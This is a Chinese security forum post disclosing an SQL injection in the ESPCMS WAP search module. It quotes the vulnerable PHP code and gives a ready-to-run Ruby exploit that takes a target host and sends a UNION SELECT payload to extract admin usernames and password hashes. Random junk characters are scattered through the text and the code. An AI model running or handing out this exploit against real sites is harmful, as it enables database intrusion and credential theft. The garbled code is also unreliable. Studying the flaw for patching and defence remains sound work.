中国网络渗透测试联盟

标题: espcms wap模块搜索处SQL注入 [打印本页]

作者: admin    时间: 2013-7-27 18:31
标题: espcms wap模块搜索处SQL注入
0×0 漏洞概述0×1 漏洞细节
+ ]  }* F& h1 p& f0 W0×2 PoC& T! b; }/ o$ t$ f, O+ k* P
6 A" E' f7 U8 ~* d  j' }0 j

8 D2 B) z$ m6 W  I
7 t" D% S6 M+ V4 `! i1 g8 d2 l0×0 漏洞概述
3 ]$ Q' m* w& D7 S# W2 {2 _7 n
- e1 J( s' S4 |2 g: V5 V易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。( u/ ]; A( A% l) r7 M" l
其在处理传入的参数时考虑不严谨导致SQL注入发生/ h- J6 g/ J/ c5 u9 o( {3 |

1 `( a, c+ W+ `+ Q. G3 ^: w: e! l& J
0×1 漏洞细节
6 g1 ^, U- {  v8 |: }
& k/ E# P, e8 r% [5 m" k变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。" \0 l5 b1 R' {, r# l7 ?' }9 z! z
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。5 W4 N+ `" F- f. \2 z: ?
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
, D  n' b0 K: {; r4 }; g
& D1 {$ [; l' g. g! M6 {% b5 k6 b, D在/interface/3gwap_search.php文件的in_result函数中:
9 h4 _1 o7 T4 b+ }2 \
& [0 C& w% F& A& h- J* S6 x, r7 q* h+ @( ?7 |$ t

3 o3 B" ^; A' }, B; b       function in_result() {
6 Y" T. T" h' b0 Z( n            ... ... ... ... ... ... ... ... ...
7 |1 @0 H. `: m! j) t: v4 L# \# `            $urlcode = $_SERVER[ 'QUERY_STRING '];" F3 T0 h; s9 D5 t8 ^( l2 G% i
            parse_str(html_entity_decode($urlcode), $output);% C+ q- M! W5 E6 U

4 v+ u8 U4 {0 {5 w! U; A            ... ... ... ... ... ... ... ... ...
& O1 X' X) H: P7 W, _1 D& O            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
1 s' v: O, q/ ?, g% J! _+ Z9 R5 ~6 C$ J
                  $db_table = db_prefix . 'model_att';9 F' U( J: {; j1 \7 g

( K3 e: U. D: ~. |& ?7 c3 ~                   foreach ($output['attr' ] as $key => $value) {
/ m4 ^- K; A* {                         if ($value) {  H  l# T' F3 B7 P( q

- X. x3 M$ W2 X. c/ O6 Z1 L7 p                              $key = addslashes($key);' u0 H9 w. Z$ g5 O% q- C  u
                              $key = $this-> fun->inputcodetrim($key);
, e: s# Z0 W( ~  \9 u: B                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";! Y' M5 V& D; V. I6 n1 u5 M
                              $countnum = $this->db_numrows($db_table, $db_att_where);5 Q9 \/ y& F, E; H
                               if ($countnum > 0) {
; ?- r$ O  i: G                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;5 X. O: Y' r: n' n; m
                              }$ T- Z  P; l2 b) v
                        }+ O! f8 l, @/ B0 L4 q/ n& O
                  }% y% Q0 ?3 b1 f
            }
3 {7 Y- s) N: C- y            if (!empty ($keyword) && empty($keyname)) {% n4 o) v6 H2 f$ b5 |4 b
                  $keyname = 'title';
9 J# J: _: n" H( c2 h/ S                  $db_where.= " AND a.title like '%$keyword%'" ;
' R7 r' A, W( x4 K. e            } elseif (!empty ($keyword) && !empty($keyname)) {
/ m" W! F% ]+ Y6 O+ M$ ?" a" W, L                  $db_where.= " AND $keyname like '% $keyword%'";
4 d3 B1 |! W; q0 M; I  R% X            }
9 L( h  z0 C# u: K            $pagemax = 15;$ h- Y! C1 r% h% B
/ k% z$ q( V/ S/ c, C
            $pagesylte = 1;
8 T6 F' N4 s4 c* e4 u& N
9 V- }' I8 L9 x: ~& T             if ($countnum > 0) {. J8 Z3 y" R5 ]6 V0 h0 {

4 ~% Z8 t# a) S* B- b: X1 h% k1 X                  $numpage = ceil($countnum / $pagemax);
3 I$ c/ U) U: |- a            } else {
' y2 E5 d: l! T6 c/ p. Z7 R                  $numpage = 1;
; e  V0 B+ U: P' N            }
- I: U3 N: p3 @9 ?5 U1 M$ w: a            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;8 k" ]5 g. T' [4 A( l7 k
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
) r- O% B7 p8 ?8 q: V( b* h9 W7 g$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
! T  ?/ I5 ]6 d3 @% l3 Q' R, ~  |7 U            ... ... ... ... ... ... ... ... ...
9 U; E6 f8 [7 @) }# b. f      }* s* Y" u2 I$ y% v" O$ `

  c, M8 h6 `/ c* Q' [3 ]  ~6 \  G/ Q3 D
0×2 PoC; v* E  q$ R" x4 d

) G0 M" d) @- N  l: P& w4 ]  Z3 \/ t* k% b2 `
- d' Y  u0 r/ ?! `6 N7 h  F
require "net/http"
4 Q" g2 S8 ]1 K/ A# L4 z6 a6 E+ s+ b  A% ?7 |
def request(method, url)
0 \; o( D+ O; I4 G; c    if method.eql?("get")
9 o0 T1 s- @- t( F) m- }7 m        uri = URI.parse(url)# E$ s# ^7 o2 m2 b! [3 O  H# @+ G
        http = Net::HTTP.new(uri.host, uri.port)
+ Q. Z* s  v; R7 q; V4 p# c9 D5 w        response = http.request(Net::HTTP::Get.new(uri.request_uri))
5 ], n! w( d" u, d2 l2 \( e        return response% t" q+ y' k0 M/ K4 Q$ s
    end
  v; O1 [* e% y. E4 F/ j! R3 `end
0 `' O. R, S7 i$ F% Z9 {
2 K' }" f! Z1 ?doc =<<HERE
8 ?  a0 x+ |; c( q-------------------------------------------------------
, T. K0 [5 k" c% VEspcms Injection Exploit
" O+ h; @) I9 T4 oAuthor:ztz* T* U0 R7 P: C' p2 m7 C
Blog:http://ztz.fuzzexp.org/( V" `7 N! o1 f' b
-------------------------------------------------------
0 e9 P! ?- E1 K, p% T5 J
- q6 ?3 h' Z3 Q# T2 p4 J3 _HERE! i2 {: B/ f/ B3 T) R0 c# n
0 B+ x% ^4 w7 F
usage =<<HERE' K; h9 P, M6 b" i( E' V
Usage:         ruby #{$0} host port path: {' Z' [! B) ]9 m' F
example:     ruby #{$0} www.target.com 80 /- q8 h* n* c* R( l) y1 c
HERE
1 B* O0 v6 a8 [6 k8 T6 ?; h2 W! k: L: `& q+ d" J
puts doc
5 J6 q( w5 z) r8 t! lif ARGV.length < 3
0 n% L- u9 @* [/ R5 m7 }/ V. G! ~    puts usage8 t2 H. y4 r- C9 S1 l1 `
else
/ b- F2 n0 a: z  m    $host = ARGV[0]0 D7 C' Z! `" L
    $port = ARGV[1]( p) I5 |( ~9 }1 ?$ v
    $path = ARGV[2]
! E+ |2 L2 v6 ~( r4 N
1 _" a8 g: s" t; q$ K  T% l  e    puts "
  • send request...": @" b% N+ J1 D# E: n% ]; v- b
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    , Y  Y5 Z4 }* r+ U, J/ n" kattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
    ) p+ e1 O5 `0 O) |3 ~,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27; f$ V. [4 [' L* s6 m: L+ s
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"- ]$ P: n1 B3 p$ o# L
        response = request("get", url)0 a! p- `! D8 F1 j
        result = response.body.scan(/\w+&\w{32}/)
    3 W8 |6 B5 G# M$ C    puts result
      {8 K4 u9 n- |  l7 Y+ I3 G6 _( Z0 xend# `) D& y3 P1 g$ Q6 k& g7 U

    . O5 [$ ~$ h' k8 _* Z* }




    欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2